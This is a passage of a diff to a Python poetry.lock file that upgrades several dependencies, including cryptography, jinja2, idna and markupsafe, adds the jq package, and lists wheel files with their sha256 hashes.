"sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3"}, - {file = "cryptography-3.4.7.tar.gz", hash = "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713"}, + {file = "cryptography-41.0.4-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:80907d3faa55dc5434a16579952ac6da800935cd98d14dbd62f6f042c7f5e839"}, + {file = "cryptography-41.0.4-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:35c00f637cd0b9d5b6c6bd11b6c3359194a8eba9c46d4e875a3660e3b400005f"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cecfefa17042941f94ab54f769c8ce0fe14beff2694e9ac684176a2535bf9714"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e40211b4923ba5a6dc9769eab704bdb3fbb58d56c5b336d30996c24fcf12aadb"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:23a25c09dfd0d9f28da2352503b23e086f8e78096b9fd585d1d14eca01613e13"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2ed09183922d66c4ec5fdaa59b4d14e105c084dd0febd27452de8f6f74704143"}, + {file = "cryptography-41.0.4-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:5a0f09cefded00e648a127048119f77bc2b2ec61e736660b5789e638f43cc397"}, + {file = "cryptography-41.0.4-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:9eeb77214afae972a00dee47382d2591abe77bdae166bda672fb1e24702a3860"}, + {file = "cryptography-41.0.4-cp37-abi3-win32.whl", hash = "sha256:3b224890962a2d7b57cf5eeb16ccaafba6083f7b811829f00476309bce2fe0fd"}, + {file = "cryptography-41.0.4-cp37-abi3-win_amd64.whl", hash = "sha256:c880eba5175f4307129784eca96f4e70b88e57aa3f680aeba3bab0e980b0f37d"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:004b6ccc95943f6a9ad3142cfabcc769d7ee38a3f60fb0dddbfb431f818c3a67"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:86defa8d248c3fa029da68ce61fe735432b047e32179883bdb1e79ed9bb8195e"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:37480760ae08065437e6573d14be973112c9e6dcaf5f11d00147ee74f37a3829"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b5f4dfe950ff0479f1f00eda09c18798d4f49b98f4e2006d644b3301682ebdca"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7e53db173370dea832190870e975a1e09c86a879b613948f09eb49324218c14d"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5b72205a360f3b6176485a333256b9bcd48700fc755fef51c8e7e67c4b63e3ac"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:93530900d14c37a46ce3d6c9e6fd35dbe5f5601bf6b3a5c325c7bffc030344d9"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efc8ad4e6fc4f1752ebfb58aefece8b4e3c4cae940b0994d43649bdfce8d0d4f"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c3391bd8e6de35f6f1140e50aaeb3e2b3d6a9012536ca23ab0d9c35ec18c8a91"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:0d9409894f495d465fe6fda92cb70e8323e9648af912d5b9141d616df40a87b8"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8ac4f9ead4bbd0bc8ab2d318f97d85147167a488be0e08814a37eb2f439d5cf6"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:047c4603aeb4bbd8db2756e38f5b8bd7e94318c047cfe4efeb5d715e08b49311"}, + {file = "cryptography-41.0.4.tar.gz", hash = "sha256:7febc3094125fc126a7f6fb1f420d0da639f3f32cb15c8ff0dc3997c4549f51a"}, ] [package.dependencies] cffi = ">=1.12" [package.extras] -docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx-rtd-theme"] -docstest = ["doc8", "pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] -pep8test = ["black", "flake8", "flake8-import-order", "pep8-naming"] -sdist = ["setuptools-rust (>=0.11.4)"] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +nox = ["nox"] +pep8test = ["black", "check-sdist", "mypy", "ruff"] +sdist = ["build"] ssh = ["bcrypt (>=3.1.5)"] -test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.0)", "pytest-cov", "pytest-subtests", "pytest-xdist", "pytz"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] [[package]] name = "docutils" -version = "0.15.2" +version = "0.16" description = "Docutils -- Python Documentation Utilities" optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "docutils-0.15.2-py2-none-any.whl", hash = "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827"}, - {file = "docutils-0.15.2-py3-none-any.whl", hash = "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0"}, - {file = "docutils-0.15.2.tar.gz", hash = "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99"}, + {file = "docutils-0.16-py2.py3-none-any.whl", hash = "sha256:0c5b78adfbf7762415433f5515cd5c9e762339e23369dbe8000d84a4bf4ab3af"}, + {file = "docutils-0.16.tar.gz", hash = "sha256:c2de3a60e9e7d07be26b7f2b00ca0309c207e06c100f9cc2a94931fc75a478fc"}, ] [[package]] @@ -668,13 +794,13 @@ pyflakes = ">=2.3.0,<2.4.0" [[package]] name = "freezegun" -version = "1.1.0" +version = "1.2.2" description = "Let your Python tests travel through time" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" files = [ - {file = "freezegun-1.1.0-py2.py3-none-any.whl", hash = "sha256:2ae695f7eb96c62529f03a038461afe3c692db3465e215355e1bb4b0ab408712"}, - {file = "freezegun-1.1.0.tar.gz", hash = "sha256:177f9dd59861d871e27a484c3332f35a6e3f5d14626f2bf91be37891f18927f3"}, + {file = "freezegun-1.2.2-py3-none-any.whl", hash = "sha256:ea1b963b993cb9ea195adbd893a48d573fda951b0da64f60883d7e988b606c9f"}, + {file = "freezegun-1.2.2.tar.gz", hash = "sha256:cd22d1ba06941384410cd967d8a99d5ae2442f57dfafeff2fda5de8dc5c05446"}, ] [package.dependencies] @@ -682,24 +808,24 @@ python-dateutil = ">=2.7" [[package]] name = "idna" -version = "3.2" +version = "3.4" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.5" files = [ - {file = "idna-3.2-py3-none-any.whl", hash = "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a"}, - {file = "idna-3.2.tar.gz", hash = "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3"}, + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, ] [[package]] name = "importlib-metadata" -version = "4.6.3" +version = "6.7.0" description = "Read metadata from Python packages" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "importlib_metadata-4.6.3-py3-none-any.whl", hash = "sha256:51c6635429c77cf1ae634c997ff9e53ca3438b495f10a55ba28594dd69764a8b"}, - {file = "importlib_metadata-4.6.3.tar.gz", hash = "sha256:0645585859e9a6689c523927a5032f2ba5919f1f7d0e84bd4533312320de1ff9"}, + {file = "importlib_metadata-6.7.0-py3-none-any.whl", hash = "sha256:cb52082e659e97afc5dac71e79de97d8681de3aa07ff18578330904a9d18e5b5"}, + {file = "importlib_metadata-6.7.0.tar.gz", hash = "sha256:1aaf550d4f73e5d6783e7acb77aec43d49da8017410afae93822cc9cca98c4d4"}, ] [package.dependencies] @@ -707,46 +833,46 @@ typing-extensions = {version = ">=3.6.4", markers = "python_version < \"3.8\""} zipp = ">=0.5" [package.extras] -docs = ["jaraco.packaging (>=8.2)", "rst.linker (>=1.9)", "sphinx"] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] perf = ["ipython"] -testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pep517", "pyfakefs", "pytest (>=4.6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.0.1)", "pytest-flake8", "pytest-mypy", "pytest-perf (>=0.9.2)"] +testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] [[package]] name = "iniconfig" -version = "1.1.1" -description = "iniconfig: brain-dead simple config-ini parsing" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "iniconfig-1.1.1-py2.py3-none-any.whl", hash = "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3"}, - {file = "iniconfig-1.1.1.tar.gz", hash = "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"}, + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, ] [[package]] name = "inquirer" -version = "2.7.0" +version = "2.10.1" description = "Collection of common interactive command line user interfaces, based on Inquirer.js" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "inquirer-2.7.0-py2.py3-none-any.whl", hash = "sha256:d15e15de1ad5696f1967e7a23d8e2fce69d2e41a70b008948d676881ed94c3a5"}, - {file = "inquirer-2.7.0.tar.gz", hash = "sha256:e819188de0ca7985a99c282176c6f50fb08b0d33867fd1965d3f3e97d6c8f83f"}, + {file = "inquirer-2.10.1-py3-none-any.whl", hash = "sha256:7a01977602214d6d86e8ddef3a1300927c4e58223eab69893e550604a0ac9477"}, + {file = "inquirer-2.10.1.tar.gz", hash = "sha256:e9876258183e24f6e8c44136b04f6f2e18dd6684aee59b86a8057c50601a6523"}, ] [package.dependencies] -blessed = "1.17.6" -python-editor = "1.0.4" -readchar = "2.0.1" +blessed = ">=1.19.0" +python-editor = ">=1.0.4" +readchar = ">=3.0.6" [[package]] name = "jinja2" -version = "3.0.1" +version = "3.1.2" description = "A very fast and expressive template engine." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "Jinja2-3.0.1-py3-none-any.whl", hash = "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4"}, - {file = "Jinja2-3.0.1.tar.gz", hash = "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4"}, + {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"}, + {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"}, ] [package.dependencies] @@ -757,13 +883,13 @@ i18n = ["Babel (>=2.7)"] [[package]] name = "jinxed" -version = "1.1.0" +version = "1.2.0" description = "Jinxed Terminal Library" optional = false python-versions = "*" files = [ - {file = "jinxed-1.1.0-py2.py3-none-any.whl", hash = "sha256:6a61ccf963c16aa885304f27e6e5693783676897cea0c7f223270c8b8e78baf8"}, - {file = "jinxed-1.1.0.tar.gz", hash = "sha256:d8f1731f134e9e6b04d95095845ae6c10eb15cb223a5f0cabdea87d4a279c305"}, + {file = "jinxed-1.2.0-py2.py3-none-any.whl", hash = "sha256:cfc2b2e4e3b4326954d546ba6d6b9a7a796ddcb0aef8d03161d005177eb0d48b"}, + {file = "jinxed-1.2.0.tar.gz", hash = "sha256:032acda92d5c57cd216033cbbd53de731e6ed50deb63eb4781336ca55f72cda5"}, ] [package.dependencies] @@ -780,82 +906,156 @@ files = [ {file = "jmespath-0.10.0.tar.gz", hash = "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"}, ] +[[package]] +name = "jq" +version = "1.6.0" +description = "jq is a lightweight and flexible JSON processor." +optional = false +python-versions = ">=3.5" +files = [ + {file = "jq-1.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5773851cfb9ec6525f362f5bf7f18adab5c1fd1f0161c3599264cd0118c799da"}, + {file = "jq-1.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a758df4eae767a21ebd8466dfd0066d99c9741d9f7fd4a7e1d5b5227e1924af7"}, + {file = "jq-1.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:15cf9dd3e7fb40d029f12f60cf418374c0b830a6ea6267dd285b48809069d6af"}, + {file = "jq-1.6.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c7e768cf5c25d703d944ef81c787d745da0eb266a97768f3003f91c4c828118d"}, + {file = "jq-1.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:85a697b3cdc65e787f90faa1237caa44c117b6b2853f21263c3f0b16661b192c"}, + {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:944e081c328501ddc0a22a8f08196df72afe7910ca11e1a1f21244410dbdd3b3"}, + {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:09262d0e0cafb03acc968622e6450bb08abfb14c793bab47afd2732b47c655fd"}, + {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:611f460f616f957d57e0da52ac6e1e6294b073c72a89651da5546a31347817bd"}, + {file = "jq-1.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aba35b5cc07cd75202148e55f47ede3f4d0819b51c80f6d0c82a2ca47db07189"}, + {file = "jq-1.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ef5ddb76b03610df19a53583348aed3604f21d0ba6b583ee8d079e8df026cd47"}, + {file = "jq-1.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872f322ff7bfd7daff41b7e8248d414a88722df0e82d1027f3b091a438543e63"}, + {file = "jq-1.6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca7a2982ff26f4620ac03099542a0230dabd8787af3f03ac93660598e26acbf0"}, + {file = "jq-1.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:316affc6debf15eb05b7fd8e84ebf8993042b10b840e8d2a504659fb3ba07992"}, + {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9bc42ade4de77fe4370c0e8e105ef10ad1821ef74d61dcc70982178b9ecfdc72"}, + {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:02da59230912b886ed45489f3693ce75877f3e99c9e490c0a2dbcf0db397e0df"}, + {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ea39f89aa469eb12145ddd686248916cd6d186647aa40b319af8444b1f45a2d"}, + {file = "jq-1.6.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:6e9016f5ba064fabc527adb609ebae1f27cac20c8e0da990abae1cfb12eca706"}, + {file = "jq-1.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:022be104a548f7fbddf103ce749937956df9d37a4f2f1650396dacad73bce7ee"}, + {file = "jq-1.6.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d5a7f31f779e1aa3d165eaec237d74c7f5728227e81023a576c939ba3da34f8"}, + {file = "jq-1.6.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f1533a2a15c42be3368878b4031b12f30441246878e0b5f6bedfdd7828cdb1f"}, + {file = "jq-1.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aa67a304e58aa85c550ec011a68754ae49abe227b37d63a351feef4eea4c7a7"}, + {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0893d1590cfa6facaf787cc6c28ac51e47d0d06a303613f84d4943ac0ca98e32"}, + {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:63db80b4803905a4f4f6c87a17aa1816c530f6262bc795773ebe60f8ab259092"}, + {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e2c1f429e644cb962e846a6157b5352c3c556fbd0b22bba9fc2fea0710333369"}, + {file = "jq-1.6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:bcf574f28809ec63b8df6456fdd4a981751b7466851e80621993b4e9d3e3c8ee"}, + {file = "jq-1.6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49dbe0f003b411ca52b5d0afaf09cad8e430a1011181c86f2ef720a0956f31c1"}, + {file = "jq-1.6.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f5a9c4185269a5faf395aa7ca086c7b02c9c8b448d542be3b899041d06e0970"}, + {file = "jq-1.6.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8265f3badcd125f234e55dfc02a078c5decdc6faafcd453fde04d4c0d2699886"}, + {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:c6c39b53d000d2f7f9f6338061942b83c9034d04f3bc99acae0867d23c9e7127"}, + {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:9897931ea7b9a46f8165ee69737ece4a2e6dbc8e10ececb81f459d51d71401df"}, + {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6312237159e88e92775ea497e0c739590528062d4074544aacf12a08d252f966"}, + {file = "jq-1.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aa786a60bdd1a3571f092a4021dd9abf6c46798530fa99f19ecf4f0fceaa7eaf"}, + {file = "jq-1.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22495573d8221320d3433e1aeded40132bd8e1726845629558bd73aaa66eef7b"}, + {file = "jq-1.6.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:711eabc5d33ef3ec581e0744d9cff52f43896d84847a2692c287a0140a29c915"}, + {file = "jq-1.6.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57e75c1563d083b0424690b3c3ef2bb519e670770931fe633101ede16615d6ee"}, + {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c795f175b1a13bd716a0c180d062cc8e305271f47bbdb9eb0f0f62f7e4f5def4"}, + {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:227b178b22a7f91ae88525810441791b1ca1fc71c86f03190911793be15cec3d"}, + {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:780eb6383fbae12afa819ef676fc93e1548ae4b076c004a393af26a04b460742"}, + {file = "jq-1.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:08ded6467f4ef89fec35b2bf310f210f8cd13fbd9d80e521500889edf8d22441"}, + {file = "jq-1.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:49e44ed677713f4115bd5bf2dbae23baa4cd503be350e12a1c1f506b0687848f"}, + {file = "jq-1.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:984f33862af285ad3e41e23179ac4795f1701822473e1a26bf87ff023e5a89ea"}, + {file = "jq-1.6.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f42264fafc6166efb5611b5d4cb01058887d050a6c19334f6a3f8a13bb369df5"}, + {file = "jq-1.6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a67154f150aaf76cc1294032ed588436eb002097dd4fd1e283824bf753a05080"}, + {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:1b3b95d5fd20e51f18a42647fdb52e5d8aaf150b7a666dd659cf282a2221ee3f"}, + {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3a8d98f72111043e75610cad7fa9ec5aec0b1ee2f7332dc7fd0f6603ea8144f8"}, + {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:487483f10ae8f70e6acf7723f31b329736de4b421ce56b2f43b46d5cbd7337b0"}, + {file = "jq-1.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:18a700f55b7ef83a1382edf0a48cb176b22bacd155e097375ef2345ff8621d97"}, + {file = "jq-1.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68aec8534ac3c4705e524b4ef54f66b8bdc867df9e0af2c3895e82c6774b5374"}, + {file = "jq-1.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7a164748dbd03bb06d23bab7ead7ba7e5c4fcfebea7b082bdcd21d14136931e"}, + {file = "jq-1.6.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa22d24740276a8ce82411e4960ed2b5fab476230f913f9d9cf726f766a22208"}, + {file = "jq-1.6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c1a6fae1b74b3e0478e281eb6addedad7b32421221ac685e21c1d49af5e997f"}, + {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ce628546c22792b8870b9815086f65873ebb78d7bf617b5a16dd839adba36538"}, + {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7bb685f337cf5d4f4fe210c46220e31a7baec02a0ca0df3ace3dd4780328fc30"}, + {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bdbbc509a35ee6082d79c1f25eb97c08f1c59043d21e0772cd24baa909505899"}, + {file = "jq-1.6.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1b332dfdf0d81fb7faf3d12aabf997565d7544bec9812e0ac5ee55e60ef4df8c"}, + {file = "jq-1.6.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:3a4f6ef8c0bd19beae56074c50026665d66345d1908f050e5c442ceac2efe398"}, + {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5184c2fcca40f8f2ab1b14662721accf68b4b5e772e2f5336fec24aa58fe235a"}, + {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:689429fe1e07a2d6041daba2c21ced3a24895b2745326deb0c90ccab9386e116"}, + {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8405d1c996c83711570f16aac32e3bf2c116d6fa4254a820276b87aed544d7e8"}, + {file = "jq-1.6.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:138d56c7efc8bb162c1cfc3806bd6b4d779115943af36c9e3b8ca644dde856c2"}, + {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fd28f8395687e45bba56dc771284ebb6492b02037f74f450176c102f3f4e86a3"}, + {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2c783288bf10e67aad321b58735e663f4975d7ddfbfb0a5bca8428eee283bde"}, + {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:206391ac5b2eb556720b94f0f131558cbf8d82d8cc7e0404e733eeef48bcd823"}, + {file = "jq-1.6.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35090fea1283402abc3a13b43261468162199d8b5dcdaba2d1029e557ed23070"}, + {file = "jq-1.6.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:201c6384603aec87a744ad7b393cc4f1c58ece23d6e0a6c216a47bfcc405d231"}, + {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3d8b075351c29653f29a1fec5d31bc88aa198a0843c0a9550b9be74d8fab33b"}, + {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:132e41f6e988c42b91c04b1b60dd8fa185a5c0681de5438ea1e6c64f5329768c"}, + {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1cb4751808b1d0dbddd37319e0c574fb0c3a29910d52ba35890b1343a1f1e59"}, + {file = "jq-1.6.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bd158911ed5f5c644f557ad94d6424c411560632a885eae47d105f290f0109cb"}, + {file = "jq-1.6.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:64bc09ae6a9d9b82b78e15d142f90b816228bd3ee48833ddca3ff8c08e163fa7"}, + {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4eed167322662f4b7e65235723c54aa6879f6175b6f9b68bc24887549637ffb"}, + {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64bb4b305e2fabe5b5161b599bf934aceb0e0e7d3dd8f79246737ea91a2bc9ae"}, + {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:165bfbe29bf73878d073edf75f384b7da8a9657ba0ab9fb1e5fe6be65ab7debb"}, + {file = "jq-1.6.0.tar.gz", hash = "sha256:c7711f0c913a826a00990736efa6ffc285f8ef433414516bb14b7df971d6c1ea"}, +] + [[package]] name = "markupsafe" -version = "2.0.1" +version = "2.1.3" description = "Safely add untrusted strings to HTML/XML markup." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d"}, - {file = 